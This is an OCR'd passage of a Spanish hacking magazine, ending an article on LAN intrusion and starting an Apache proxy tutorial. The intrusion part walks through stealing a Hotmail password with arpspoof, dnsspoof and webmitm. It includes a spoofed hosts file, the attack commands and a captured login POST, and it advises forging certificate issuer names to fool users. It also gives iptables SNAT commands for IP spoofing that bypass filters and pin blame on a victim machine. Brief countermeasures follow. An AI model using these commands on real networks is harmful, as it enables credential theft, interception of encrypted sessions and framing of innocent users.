    Content-Transfer-Encoding: 7bit                                                        aterradoras de dsniff... La captura de tráfico
    SLATER: Parece estar Limpio
                                                                                           teóricamente seguro al acceder a páginas web
    Esto es un ejemplo de prueba de correo... Hay que ver que pasa...                      usando una capa de cifrado SSL (Protocolo
                                                                                           HTTPS).
    --%#%NextPart#%#--


                                                                                           El protocolo HTTPS es usado por multitud de
                                                                                           sitios web en los que se requiere seguridad en
  !                   En               este               ejemplo...                       el acceso. Se basa en establecer una sesión
                                                                                           encriptada y segura entre el cliente y el servidor
                                                                                           de forma que el tráfico de contraseñas, tarjetas
  En este ejemplo hemos enviado un correo a la dirección                                   de crédito y otra información sensible no pueda
  echo@rediris.es, usada para pruebas de correo entrante y                                 ser leída por terceros...
  saliente. Si mandas un correo a esa dirección, recibirás un
  correo de vuelta de forma automática en uno o dos minutos.                               Sin embargo, la debilidad de este protocolo
  Aquí se ha capturado el correo enviado (SMTP) y la                                       sigue estando en el mismo sitio en el que
  respuesta del servidor de rediris (POP).                                                 residen la mayoría de los problemas de
                                                                                           seguridad: la falta de conocimientos básicos
                                                                                           por parte de los usuarios.

Página 44                                                                                                                       PC PASO A PASO Nº 11
INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL




           webmitm se aprovecha perfectamente de esta           En resumen... Lo más probable es que no
           debilidad. No es la única herramienta que os         podáis contar con un certificado válido. U os
           permitirá hacer esto, pero... Es la primera que      creáis uno (usando OpenSLL) u os lo bajáis
           ví y os aseguro que aluciné con los resultados.      buscando en Google tal y como os comenté
           Básicamente funciona como un “relayer” HTTPS         más arriba. Partiremos de esta base para el
           (y HTTP) que actuará como “proxy                     ejemplo, de forma que veáis en que momento
           transparente”, recibiendo las peticiones del         entra en juego el usuario.
           cliente y realizando, posteriormente, las mismas
           peticiones al sitio correcto para devolver la        CONSEJO: Si os creáis uno propio podríais usar
           respuesta adecuada al cliente... Lo                  frases con “Microsoft” o “Verisign” en todos
           entenderemos mejor cuando veamos el                  los campos identificativos del expedidor del
           ejemplo más abajo.                                   certificado... Así engañará más fácilmente al
                                                                usuario.
           No voy a entrar ahora en teoría sobre SSL y
           PKI (demasiada teoría nos hemos comido para          Bien. Suponemos que ya tenemos el archivo
           un solo artículo). Tan sólo decir que una            con el certificado en el mismo directorio en
           conexión SSL o HTTPS requiere de la existencia       que vamos a ejecutar webmitm. Dicho
           de, al menos, un certificado válido de servidor      archivo debe llamarse webmitm.crt y, en este
           verificado por una CA (Autoridad Certificadora).     caso, nos lo hemos bajado de Internet ya
                                                                creado.
           Antes de poder usar webmitm deberéis
           disponer de un certificado propio... Este            Vamos a pillar la contraseña de hotmail de un
           certificado podéis crearlo vosotros mismos           usuario de la Máquina UNO (dado que parece
           usando la funcionalidad del paquete OpenSSL          haber mucha gente con cierta “predilección”
           (buscar información al respecto en Google).          por las contraseñas de “jotmeil”). Podríamos
           También podéis buscar un certificado en google       haber seleccionado cualquier otro objetivo
           (escribid “webmitm.crt” y SEGURO que                 (amazon, playerauctions, etc). Pero vamos a
           encontráis algún archivo para bajaros).              usar hotmail simplemente por... el morbo.

           Lo ideal sería contar con un certificado válido      Deberemos dar los siguientes pasos previos:
           de servidor... Hace unos años, thawtee               1.- Conseguir el certificado... Ya lo tenemos.
           (www.thaute.com) suministraba certificados
           de servidor válidos durante un mes, con el fin       2.- Crear un archivo de texto al estilo /etc/hosts
           de poder probar y poner a punto servidores           al que llamaremos hotamail.hosts
           web seguros, si no recuerdo mal... Pero CREO         Este archivo contendrá entradas para todos
           que ya no lo hace (tan sólo suministra               aquellos dominios que queramos controlar...
           certificados de cliente, si no me equivoco).         En nuestro caso haremos que hotmail.com,
           Me parece recordar haber usado uno en mi             passport.com y msn.com apunten a la dirección
           primera configuración de Apache-SSL.                 IP de nuestra máquina atacante intruder. El
           Actualmente no sé si alguna compañía                 archivo quedaría así:
           suministra gratuitamente un certificado de
           servidor. Hace varios años que uso mi propia         192.168.0.10           *.passport.com
           CA para realizar pruebas y puestas a punto.          192.168.0.10           *.hotmail.com
           Si contaseis con un certificado válido, el usuario   192.168.0.10           *.msn.com
           NO se enteraría absolutamente de nada.


PC PASO A PASO Nº 11                                                                                                 Página 45
INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL




                                                                  - Consola 2
  !           Podéis crear...                                     intruder:~ # dnsspoof –f hotmail.hosts
                                                                  dnsspoof: listening on eth0 [udp dst port 53
                                                                  and not src 192.168.0.10]
Podéis crear este archivo con cualquier editor de textos
como vi, nano, pico o el que prefiráis.
                                                                  Ok. Ya tenemos engañada a la Máquina UNO
                                                                  para que piense que nosotros somos el servidor
                                                                  DNS y tenemos corriendo el programa dnsspoof
             Ya tenemos el archivo hotmail.hosts con las          que atenderá peticiones DNS normales. Si la
             líneas expuestas... Si os fijáis, estamos diciendo   Máquina UNO pregunta por cualquiera de los
             que los dominios passport.com, hotmail.com           dominios que aparecen en nuestro fichero
             y msn.com están escuchando en la IP                  hotmail.hosts, la respuesta será la IP de nuestra
             192.168.0.10 (la de nuestra máquina atacante).       máquina para que realice las peticiones nuestro
             Lo que trataremos de hacer es una resolución         “server” (webmitm)... En cualquier otro caso
             de nombres falsa para que las peticiones se          dnsspoof usará el DNS real para devolver la
             realicen directamente a nosotros (a webmitm,         IP correspondiente de Internet (podemos ver
             de hecho), en lugar de al servidor real en           que por defecto existe un filtro levantado para
             Internet.                                            dnsspoof que dice que responda a las peticiones
                                                                  que le lleguen al puerto 53 y que NO provengan
             Este archivo lo vamos a usar para lanzar otra        de nuestra máquina... De esta forma
             herramienta de la “suite” que nos será de gran       NOSOTROS si que podremos conocer las IP
             utilidad en nuestra tarea: dnsspoof...               reales de hotmail.com, msn.com y
                                                                  passport.com).
             3.- Y ya estamos listos. Vamos a ello... (no sé
                                                                  Ok... Estamos listos.
             por que coño pongo un punto 3 para decir
             esto :P ).                                           - Consola 3
                                                                  intruder:~ # webmitm -d
             Usaremos 3 consolas nuevamente. En una               webmitm: relaying transparently
             ejecutaremos los comandos para el MiM, en
             otra el dnsspoof y en la tercera...                  Ya tenemos a webmitm corriendo. Siempre lo
             tachaaaaannn... webmitm.                             ejecuto con la opción –d para observar todo
                                                                  el tráfico generado por el cliente. (También
             - Consola 1                                          podríamos haber redirigido la salida a un fichero
             intruder:~ # echo 1 > /proc/sys/net/                 para explorar posteriormente “off-line”, tal y
             ipv4/ip_forward                                      como hicimos con mailsnarf).
             intruder:~ # arpspoof –t 192.168.0.1
             192.168.0.2                                          Ahora, cuando el cliente de la Máquina UNO
             (En este caso, la dirección IP 192.168.0.2           trate de conectarse con hotmail, realmente
             apunta al gateway/router de salida a Internet,       estará conectándose con nuestro webmitm,
             porque suponemos que el DNS está en una              realizándole a él las peticiones. ¿Qué ocurrirá
             dirección externa a la red.. En caso de contar       cuando entre en la “zona segura” de hotmail
             con un DNS primario propio e interno, deberéis       para hacer login? Pues que le pedirá a nuestro
             sustituir aquí la IP. Lo que pretendemos es          querido webmitm el certificado de servidor, en
             que las peticiones DNS las haga a nuestra            lugar de pedírselo a hotmail.com o a
             máquina donde escuchará dnsspoof.)                   passport.com... Y aquí entra en juego el usuario.
                                                                  Dado que el certificado que le vamos a dar

Página 46                                                                                              PC PASO A PASO Nº 11
INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL




           nos lo hemos bajado de Internet y no está
           validado por una CA autorizada, el navegador       Si han decidido seguir adelante veremos una
           del cliente cantará con una pantalla similar a     salida similar a esta:
           esta (dependiendo del navegador y su versión):     ...
                                                              P O S T              / p p s e c u r e / p o s t . s r f ?
                                                              lc=3082&id=2&tw=20&fs=1&cbid=24325&da=passport
                                                              . c o m & k p p = 2 & s v c = m a i l & m s p p j p h = 1 H TT P / 1 . 1
                                                              Accept: image/gif, image/x-xbitmap, image/jpeg,
                                                              image/pjpeg, */*
                                                              Accept-Language: es
                                                              Content-Type: application/x-www-form-urlencoded
                                                              Accept-Encoding: gzip, deflate
                                                              C o o k i e : M S P P r e = u n o c u a l q u i e ra @ h o t m a i l . c o m ;
                                                              B r o w s e r T e s t = S u c c e s s ? ;
                                                              MSPRequ=lt=1055352925&co=1&id=2
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows
                                                              NT 5.1)
                                                              Host: loginnet.passport.com
                                                              Content-Length: 82
                                                              Connection: Keep-Alive
                                                              Cache-Control: no-cache
                                                              Referer: http://login.passport.net/ uilogin.srf?id=2


                                                              login=unocualquiera&domain=hotmail.com&pas
                                                              swd=supasswordenclaro&sec=&mspp_shared=&pa
                                                              dding=xxxxxxxx
           Y aquí surge el problema. Si todo va bien (o
                                                              webmitm: child 1242 terminated with status 0
           mal, según se mire), el usuario ACEPTARÁ el
                                                              ...
           mensaje sin más (pulsará “Sí” a la pregunta
           desea continuar)... En este caso ya es nuestro.
                                                              Ya tenemos el password de hotmail de ese
           También podría ser que pulsase en “Ver
                                                              usuario (que es, obviamente,
           certificado”... Aquí es donde entra en juego
                                                              supasswordenclaro) y podemos hacer cuantas
           nuestra inventiva a la hora de haber usado
                                                              estupideces creamos necesarias con él :P.
           palabras como “Microsoft” o “Verisign”, de
           forma que no profundice demasiado en el
                                                              Desde luego, he acortado la salida para que
           tema y acabe confiando.
                                                              se vea la parte “caliente”... En realidad es
                                                              bastante mayor, pudiendo ver todo el tráfico
           Si, por el contrario, el usuario decide rechazar
                                                              enviado por el cliente, incluyendo las cookies.
           el certificado... Mala suerte. Hemos dado con
           un usuario precavido que no se fía ni de su
                                                              Es obvio que usar esta herramienta para
           sombra y que no nos va a permitir esnifar su
                                                              capturar contraseñas de hotmail es, cuando
           conexión SSL (dado que esta NO se va a
                                                              menos, una frivolidad (o una estupidez)... Pero
           establecer).
                                                              el daño que podría causar en conexiones a
                                                              otro tipo de sitios (banca electrónica, sitios
           Desgraciadamente (o afortunadamente, según
                                                              que requieren tarjetas de crédito, información
           se mire de nuevo), la tónica general será que
                                                              MUY personal, etc) es igualmente evidente.
           la mayoría de los usuarios aceptarán el
           certificado y seguirán adelante entusiasmados      Esto nos lleva a otra máxima en seguridad: La
           por poder volver a entrar en su idolatrado         seguridad real NO existe, es tan sólo un
           hotmail... ¡Y serán nuestros!                      espejismo. Las conexiones SSL se consideraban

PC PASO A PASO Nº 11                                                                                                                           Página 47
INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL




            invulnerables si la clave de encriptación era       autenticación en base a la IP que realiza la
            lo bastante grande... Lo cierto es que con una      petición. O como intentar llegar a una máquina
            herramienta como esta acabamos de saltarnos         que tan sólo permite que la accedan desde
            ese maravilloso paraíso de la seguridad en las      determinadas IP’s.. Pues bien, ahora veremos
            comunicaciones que nos habían prometido...          una técnica tan simple como efectiva.
            Contando en nuestro caso con la ayuda de
            uno de tantos millones de usuarios confiados        Recuerdo que un día me estaba preguntando
            que nada saben de PKI ni de CA’s (ni les            por qué no podría suplantar una IP y engañar
            importa).                                           a un host al que ya había hecho creer que mi
                                                                dirección MAC se correspondía con esa IP. Se
            No quisiera finalizar este apartado sin hacer       me ocurrieron varias alternativas, a cual más
            hincapié en un punto concreto: dnsspoof. Aquí       compleja... Tonto de mí. Como casi siempre,
            lo hemos usado, mencionándolo casi de               la respuesta estaba al alcance de mi mano.
            pasada, para hacer creer a la víctima que los       Debajo de mis narices... tan cerca que casi me
            dominios de hotmail se corresponden con             patea el culo... Pero tuvieron que ser otros los
            nuestra IP (traducción DNS típica)... Pero          que me abrieran los ojos. Como siempre, en
            imaginaros las posibilidades. Podéis hacer          el mundo de la red encuentro gente que me
            creer a cualquier máquina, que trate de             hace sentir como un estúpido y leo artículos
            alcanzar a otra por nombre, de que ese              que hacen que piense “¿cómo no habré caído
            “nombre” se corresponde con vuestra IP...           en algo tan tonto?”... Pues porque debo ser
            Podéis haceros los receptores de cualquier          tonto, supongo.
            petición. Esto, obviamente, tiene múltiples
            aplicaciones (pensad en como podríais               La razón por la que os dije al principio que la
            combinar esta herramienta con un ataque             suplantación de IP que íbamos a realizar era
            como el descrito por Vic_Thor en el foro relativo   trivial con Linux y que no me había preocupado
            a la captura de hashes vía HTML... Las              de mirar cómo podría hacerse con Windows,
            máquinas de vuestra red local serían como           es porque la herramienta que vamos a usar
            mantequilla).                                       está tan íntimamente ligada a las últimas
                                                                versiones de este Sistema Operativo que ni se
            7.- LA GUINDA DEL PASTEL... IP SPOOF.               me ocurrió pensar en ella...
            Y ya nos estamos acercando al final. Algunos
            dirán “ooooooohhhhh”. Otros dirán                   Si, queridos amigos y amigas. Estoy hablando
            “bieeeeeeeennn”. Otros no dirán nada porque         de iptables.
            no habrán llegado a este punto...
                                                                Pero... Expliquemos todo el proceso.
            En cualquier caso, a los que os hayáis sentido
            interesados por este tema, yo os digo: Puta         En primer lugar, necesitaremos realizar un arp
            madre... Aún hay más ;)                             spoofing de doble sentido (como el visto para
                                                                mailsnarf). Envenenaremos la caché de una
            Como comenté al principio, hablando del IP          máquina con una IP permitida y la caché de
            Spoofing (Suplantación de IP), estamos en           la máquina objetivo a la que queremos llegar
            disposición de atravesar firewalls, saltarnos       (o que queremos atravesar)... Hagámoslo como
            filtros IP y reírnos de reglas de acceso basadas    siempre. Suponemos que el gateway de
            en direcciones IP.                                  Máquina DOS tan sólo permite que a Internet
            En ocasiones os habréis preguntado como             salga la Máquina UNO, comprobando su IP...
            saltarnos un proxy o firewall que realiza           Comencemos. Abriremos nuevamente 3

Página 48                                                                                           PC PASO A PASO Nº 11
INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL




           consolas:                                           aplicable a los paquetes que enviemos al
                                                               gateway (máquina 2). El comando sería así:
           - Consola 1                                         iptables -t nat -A POSTROUTING –d
           intruder:~       #   echo     1   >                 192.168.0.2 -j SNAT --to 192.168.0.1
           /proc/sys/net/ipv4/ip_forward
           intruder:~ # arpspoof –t 192.168.0.1                Hemos realizado un ataque de IP Spoof en
           192.168.0.2                                         toda regla, sin las dificultades tradicionalmente
                                                               asociadas a este concepto. Nos encontramos
           - Consola 2                                         exactamente en la situación descrita en el
           intruder:~ # arpspoof –t 192.168.0.1                Gráfico 6.
           192.168.0.2
                                                               Durante las pruebas nos conectamos por telnet
           Ya tenemos a ambas máquinas engañadas               a un servidor Windows 2000 en el que habíamos
           para que envíen su tráfico a través de              configurado un filtro IPSec que sólo permitía
           nosotros...                                         la entrada telnet a la máquina cuya IP
                                                               estábamos suplantando... En el visor de sucesos
           Y ahora... La magia. Brillante, sobre todo por      quedó registrado el acceso como acceso
           su simplicidad.                                     permitido de la Máquina UNO, con su IP
                                                               correspondiente. Hicimos lo mismo con un
           - Consola 3                                         acceso al Servidor WEB con los mismos
           intruder:~ # iptables -t nat -A                     resultados... Finalmente, colocamos un
           POSTROUTING -j SNAT --to 192.168.0.1                cortafuegos de filtrado IP en el medio y... LO
                                                               ATRAVESAMOS SIN PROBLEMAS. Si hubiésemos
           ¡Y ya está! Cualquier aplicación (telnet, netcat,   hecho algo “inadecuado”, todos los dedos (y
           navegador, cliente de correo, cliente VNC...        los logs) habrían señalado a la Máquina UNO
           LO QUE SEA) que lancemos desde nuestra              como la culpable ;) Durante todo este tiempo,
           máquina saldrá con la dirección IP de la            la Máquina UNO seguía realizando sus
           Máquina UNO. Pero además, dado que el               conexiones normalmente, sin enterarse de
           tráfico devuelto por el gateway pasa por            nada... Lo mismo que el gateway :)
           nosotros (al haber envenenado su caché arp),
           iptables es tan listo que sabe identificar que      Después de este episodio de euforia, veamos
           conexiones empezamos nosotros y cuales              la instrucción que hemos ejecutado. Lo único
           empezó la Máquina UNO de verdad... Es decir,        que hemos hecho ha sido aprovecharnos de
           RECIBIREMOS LAS RESPUESTAS A LAS                    las posibilidades de POSTROUTING (postrutado)
           PETICIONES QUE HAGAMOS, sin impedir el              de IPTABLES, usando la tabla NAT, para
           tráfico que este cursando la Máquina UNO.           traducción de direcciones, en el momento en
                                                               el que el paquete esté listo para salir
           Ojo. Si intentamos acceder a cualquier otra         (POSTROUTING), indicándole que cambie la
           máquina no podremos hacerlo... La razón es          IP fuente (-j SNAT) y que use la de la Máquina
           que estamos saliendo con una IP que no es           suplantada (--to 192.168.0.1). El resto del
           la nuestra. Dado que no hemos envenenado            trabajo lo realizan el dúo iptables/Netfilter por
           la caché de esa otra máquina, las respuestas        nosotros.
           no llegarán a nuestro equipo. Esto puede
           solventarse añadiendo una condición más al          Ciertamente, cuando veo cosas como estas,
           comando iptables: -d 192.168.0.2 (destino           no puedo menos que reconocer que “en la
           máquina 2), de forma que la regla sólo sea          simplicidad está el gusto”.

PC PASO A PASO Nº 11                                                                                               Página 49
INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL




            La moraleja de este apartado podría ser: Nunca           Se introducen en la tabla de forma dinámica en el
            confíes en la autenticación y el filtrado basado         momento en que se necesitan merced a un ARP
            en IP.                                                   reply (generalmente provocado por un ARP request
                                                                     o, como hemos visto, por un arp spoof ).
            Joder... Casi me olvido. Si hacéis un poco de
                                                                     Las estáticas son entradas fijas definidas por el
            memoria recordareis que os comenté que
                                                                     usuario. Usaremos el comando arp –s para incluir
            existía una segunda técnica para evitar que
                                                                     una entrada estática en nuestra caché ARP.
            nuestras entradas arp falseadas fueran
            “pisadas” por nuevas peticiones ARP... Una               P. Ej, incluyamos una entrada de este tipo en la
            técnica distinta del spamming. Pues bien, lo             tabla de la Máquina DOS que identifique la IP de la
            prometido es deuda. Lo comentaré ahora de                Máquina UNO con su MAC auténtica:
            forma rápida.
                                                                     arp -s 192.168.0.1 00:04:76:22:3E:AD
            La idea también es simple: Consiste en rellenar
            la tabla ARP de la máquina suplantada con                (podéis usar arp –a para ver el estado de la tabla
            los pares de direcciones IP/MAC de todas las             tras introducir esta entrada).
            máquinas de la red. Me refiero a los pares
                                                                     Ahora nos resultaría imposible envenenar la tabla
            REALES (sin suplantación, salvo para la MAC
                                                                     de la Máquina DOS para suplantar la MAC de la
            que deseamos suplantar). De esta forma, esta
                                                                     Máquina UNO... ¿Imposible? Quizás no...
            máquina no necesitará realizar ningún tipo de
            broadcast ni refrescar su tabla ARP. Este
                                                                     En sistemas basados en UNIX (incluidos Linux u
            método es más limpio y elegante que el                   OpenBSD) estas entradas NO se pueden pisar. Por
            spamming (y más difícil de detectar con                  lo tanto, configurando nuestras máquinas críticas
            determinadas herramientas)... Pero tened                 con entradas IP/MAC estáticas EVITAREMOS el arp
            cuidado. En redes muy grandes podría resultar            spoof (no será posible envenenar la caché porque
            un tanto “costoso”.                                      las entradas NO podrán ser “pisadas”).


            Existe una utilidad en Internet que realiza este         Sin embargo, se ha detectado que en máquinas
            trabajo por nosotros... arp-fillup. Encontré             Windows esto no es así. Es posible “pisar” o modificar
            esta herramienta cuando estaba indagando                 las entradas estáticas, con lo que el envenenamiento
                                                                     arp seguiría siendo viable.
            acerca del IP Spoofing basado en arp
            spoofing... Y en el mismo artículo.
                                                                     2.- Aparte de este método, la única otra opción que
                                                                     conozco consiste en la detección. Se puede detectar
            8.- CONTRAMEDIDAS.
                                                                     el spamming de ARP reply o la “tormenta de ack”.
            Ha llegado la hora de preguntarnos como podemos
                                                                     Existen varias herramientas que, además de permitir
            evitar ataques de arp spoofing en nuestra red...
                                                                     realizar un arp spoof, también son capaces de
            Pues bien, los administradores estamos de suerte.
                                                                     detectar este tipo de tráfico... Algunas de ellas ya
            Existen varias formas de detectar ataques que
                                                                     las hemos mencionado (releer hacia atrás y probad
            impliquen un arp spoofing. Veamos algunas.
                                                                     a fondo otras herramientas que os comenté).

            1.- La única manera que conozco de intentar EVITAR
                                                                     3.- Siguiendo con la detección, podremos usar un
            el arp-spoofing consiste en mantener entradas
                                                                     programa como Arpwatch. Arpwatch es un programa
            estáticas en la tabla ARP. Ha llegado el momento
                                                                     gratuito para sistemas UNIX (y UNIX Style como
            de comentar que en la tabla caché de ARP pueden
                                                                     Linux) que monitoriza la red ethernet buscando
            convivir dos tipos de entradas: Dinámicas y Estáticas.
                                                                     tráfico arp-replay y creando una Base de Datos con
                                                                     pares de direcciones IP/MAC. Cuando detecta un
            Las dinámicas son las que hemos visto hasta ahora.

Página 50                                                                                                     PC PASO A PASO Nº 11
INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL




           cambio en uno de estos pares, envía un correo al          De lo contrario se podrían descartar paquetes
           administrador. Sin embargo, en redes que                  importantes.
           usen DHCP, pueden darse falsos positivos de
           forma habitual... Algunos programas son más               3.- Cuanta mayor sea vuestra potencia de proceso
           susceptibles que otros de ser detectados por              mejor. Vuestra máquina deberá realizar bastantes
           Arpwatch, pero en general me ha parecido una              operaciones de rutado, esnifado, encriptación (caso
           herramienta excelente de la que es conveniente            de webmitm o sshmitm), etc... necesitareis cuanta
           disponer.                                                 mas potencia mejor para que la sobrecarga de
                                                                     vuestra máquina no afecte al rendimiento de la red.
           4.- Algunos firewalls modernos pueden detectar
           que la máquina en la que están instalados está            4.- Aunque es posible, yo no trataría de envenenar
           siendo víctima de un posible ataque de arp spoofing       más de dos máquinas. Podemos envenenar toda
           (fundamentalmente debido al spamming de ARP               una red y hacer que todo el tráfico pase a través
           reply). Ciertamente, en condiciones de tráfico de         de nosotros... ¿Para qué? Lo único que conseguiréis
           red intensas también pueden dar falsos positivos.         será colapsar la red, dar el cante y perder muchos
           El uso de DHCP tampoco ayuda...                           de los paquetes que circulen a través de vosotros...
                                                                     Es mucho más efectivo un ataque “selectivo” como
           5.- Finalmente, la solución definitiva contra este        los descritos en este artículo (creo que alguno en
           tipo de ataques (y en general contra cualquier tipo       el foro ya ha tenido algún sustillo al respecto usando
           de intrusión en redes) consiste en mantener cifrado       el Caín, si mal no recuerdo :)
           el tráfico de red. Sin embargo, no es algo habitual
           debido a la sobrecarga que supone y a lo complejo         5.- El arp spoofing es una técnica válida tanto para
           y costoso de su implantación y administración.            redes compartidas (hubs) como conmutadas
                                                                     (switches). Existe la creencia generalizada de que
           No hay, que yo sepa, una solución universal y fiable      el arp spoof sólo es válido y necesario en redes
           contra el arp spoofing... Pero debemos poner todos        conmutadas... Falso. Esta creencia se debe a una
           los medios que estén a nuestro alcance para tratar        visión minimalista de la intrusión en redes. Es cierto
           de detectarlo. Las consecuencias de no hacerlo, de        que no necesitareis realizar un arp spoofing para
           las cuales hemos visto algunos ejemplos, pueden           esnifar contraseñas en una red compartida (hubs)...
           ser desastrosas.                                          Pero si deseáis realizar un ataque basado en webmitm
                                                                     o aplicar la técnica de IP Spoofing aquí explicada,
                                                                     necesitareis usar el arp spoofing sea la red conmutada
           9.- FINALIZANDO.                                          o no. La intrusión en redes es MUCHO MÁS que el
           Y, como todo en esta vida, ha llegado el final. Pero      esnifado de contraseñas.
           no quisiera despedirme sin antes daros algunos
           consejos en caso de que deseéis probar estas              6.- El uso de sniffers, la intercepción de correo, la
           técnicas (u otras similares) en una red.                  intrusión en conexiones SSL y la suplantación de IP
                                                                     es, en la mayoría de las redes, una práctica ilegal.
           1.- Utilizad, si podéis, una red “de laboratorio”. Es     El que avisa no es traidor...
           decir, una red controlada por vosotros en la que
           no exista tráfico “real” de otros usuarios. Los riesgos   Y... Hasta el próximo artículo (si lo hay, porque
           de obtener información confidencial son... muy            después de este rollo igual no me dejan ni entrar
           elevados. En caso de no poder usar una red de             en Wadalbertia (visitad el foro los que no sabéis de
           laboratorio, mi consejo es que AVISEIS de que vais        que va esto ;) ).
           a trastear con estas cosas... Avisados estáis.

           2.- Procurad que vuestra interfaz de red (tarjeta)        Saludos.
           sea lo más eficiente posible, y NUNCA de velocidad
           inferior a la de las máquinas que vais a suplantar.


PC PASO A PASO Nº 11                                                                                                          Página 51
apache Parte v: Configura
             tu servidor APACHE como
                  Servidor Proxy
            - El Servidor de Páginas Web APACHE es mucho más que eso: Vamos a transformar APACHE
            en un Proxy.
            - Repasaremos conceptos ya tocados en anteriores números y asentaremos conocimientos.


            Bienvenidos de nuevo. En este número vamos a               que el propietario del Proxy puede conocer a donde
            explicaros como convertir el servidor Apache en un         te conectas, y esto quiere decir que pueden averiguar
            servidor Proxy- Cache, ¿no sabíais que el servidor         tus preferencias (entre otras cosas).
            Apache puede realizar otras funciones diferentes a
            servidor web?. Con este capítulo aprenderemos el           Sigamos… un servidor Proxy puede almacenar en
            funcionamiento de un servidor Proxy sin necesidad          su disco duro cada una de las páginas solicitadas,
            de tener que instalar ningún otro programa, todo           a esto se le llama caché (similar a la caché de los
            gracias al “todopoderoso” Apache. Conocer el               navegadores web) , con lo que se ahorra tener que
            funcionamiento un servidor Proxy te aportará un            mantener la conexión con el servidor lejano. En vez
            mayor conocimiento de redes, piensa que la mayoría         de eso, los datos que se sirven son los que se
            de las empresas disponen de servidores proxy para          encuentran en la memoria del servidor Proxy. ¿Qué
            dar acceso a Internet a los trabajadores;)                 queremos decir?, pues que si te conectas a
                                                                       www.hackxrack.com (o cualquier otra Web) desde
            1.       Que es un servidor Proxy.                         ADSL puede que la página que te aparezca en el
                                                                       navegador no sea real, ya que el servidor Proxy te
                                                                       habrá mandado una antigua, no te preocupes, se
            Lo primero que tienes que saber es que, un Proxy,
                                                                       supone que los servidores Proxy están bien
            es un servidor que puede estar funcionando en un
                                                                       configurados para evitar estos problemas.
            ordenador como el tuyo, sin necesidad de potentes
                                                                       Desgraciadamente algunas veces no es así, solo hace
            servidores como muchas empresas se empeñan.
                                                                       falta leer las noticias relacionadas con el tema para
            Si tienes una conexión ADSL sabrás que algunos
                                                                       averiguar que incluso la Seguridad Social del Estado
            proveedores de telefonía e Internet ha instalado
                                                                       “solicitó” en su día a Telefónica que desactivase el
            unos servidores Proxy, ¿qué quiere decir esto?, que
                                                                       Proxy debido a los grabes problemas de comunicación
            cuando solicitas una URL, el servidor PROXY registra
                                                                       que estaba causando.
            tu solicitud y busca el recurso solicitado para atender
            tu petición. Como te habrás dado cuenta, el servidor
                                                                       Es necesario que sepas que los servidores Proxy
            Proxy se encuentra entre tu ordenador y el servidor
                                                                       ofrecen ventajas a los webmasters (si el servidor
            web al que te conectas.
                                                                       proxy está bien configurado), además si utilizas un
                                                                       servidor proxy para conectarte a Internet puedes
                                             U n e j e m p l o, s i
                                                                       utilizar la IP del proxy para ser “anónimo” en tus
                                             tienes ADSL y te
                                                                       hazañas. Sigue leyendo y verás ...
                                             conectas a www.
                                             hackxcrack.com lo
                                             primero que hará tu       2.   Un poco de culturilla antes de
                                             n ave g a d o r s e r á   empezar ...
                                             conectarse al proxy,
                                             este se conectará a       Hay dos tipos de servidores Proxy: los directos y los
                                                                       inversos.
            www.hackxcrack.com y luego te enviará la página
            solicitada. Como estarás pensando, la empresa              Un servidor proxy directo se encuentra dentro
            propietaria del proxy (por no decir el nombre de la        del ámbito del usuario (en tu casa u oficina), si tienes
            empresa) puede registrar a dónde te conectas y             varios ordenadores y una única conexión a Internet
            conocer tus preferencias, y te estarás preguntando         puedes instalar un servidor Proxy para dar acceso
            ¿pero entonces la privacidad en Internet se pierde?,       a toda tu red, a este tipo de proxys se les llama
            bueno, pues no se que decirte, simplemente digo            directos. La mayoría de las empresas tienen

Página 52                                                                                                        PC PASO A PASO Nº 11
APACHE como Servidor Proxy - APACHE como Servidor Proxy - APACHE como Servidor Proxy




          servidores directos para ahorrar costes en contratar     servidores Proxy-Cache de ADSL en España (no
          varias conexiones, lo normal es contratar una línea      quiero nombrar la empresa que ya todos conocemos),
          y compartirla instalando un servidor Proxy.              el navegante no se da cuenta que existe un servidor
                                                                   Proxy entre su ordenador y el servidor destino. El
          Visto desde el exterior, si alguien intenta conectarse   usuario creerá que está accediendo directamente al
          a tu Red (suponiendo que tengas una ip fija), lo         servidor solicitado.
          primero que se encontrará será un router y luego
          posiblemente un proxy (aunque el router puede            En teoría, si la compañía que te ofrece acceso a
          hacer la función de proxy).                              Internet (ISP) te “impone” un Proxy-Cache, tu
                                                                   conexión a Internet debería funcionar más rápido,
                                                                   puesto que tu ISP no se conectará a Internet para
                                                                   servirte una página, sino que te servirá directamente
                                                                   la que tiene “guardada” en su caché. La realidad ya
                                                                   es otra cosa, está comprobado que esa “ganancia”
                                                                   que obtiene un usuario es tan “sutil” como inútil a
                                                                   efectos reales. Lo que en realidad obtiene el usuario
                                                                   es un mal funcionamiento a la hora de visualizar
                                                                   páginas y quien sale realmente beneficiado es
                                                                   el ISP, que consume menos ancho de banda en sus
                                                                   conexiones exteriores y a final de mes paga menos
                                                                   por sus conexiones (siempre nos toca recibir a los
                                                                   mismos, pobres usuarios).

                                                                   3. ¿Para qué puedes necesitar un
                                                                   servidor Proxy?

                                                                   Básicamente puedes utilizar los servidores Proxy
          Las empresas suelen tener el siguiente esquema           para dos cosas:
          para dar servicio de Internet a los trabajadores:
          A este tipo de servidor también se le conoce como        ·         Dar acceso a Internet a una red interna,
          servidor proxy de caché, ya que guarda una copia         es decir, si tienes varios ordenadores y una única
          de cada página visitada. El departamento de recursos     conexión, puedes dar salida a Internet a todos ellos.
          humanos de las empresas han encontrado un nuevo          Para esto tienes que instalar y configurar un servidor
          filón para justificar los despidos, ahora instalan un    Proxy.
          servidor Proxy-Cache y registran todos los accesos       ·         Utilizar un servidor Proxy para ser anónimo
          de los trabajadores, luego, cuando quieren despedir      en Internet. En este caso no tienes que instalar nada
          a un trabajador (por los motivos que sea) miran a        en tu ordenador, más adelante verás como hacerlo.
          dónde se conectó buscan “algo” que justifique el
          despido. Imagina que trabajas en una consultora
          de desarrollo web y que necesitas buscar información     Al utilizar un servidor Proxy podrás aprovechar las
          sobre servidores para realizar un proyecto y que         siguientes ventajas:
          unas de las páginas con información válida abre un
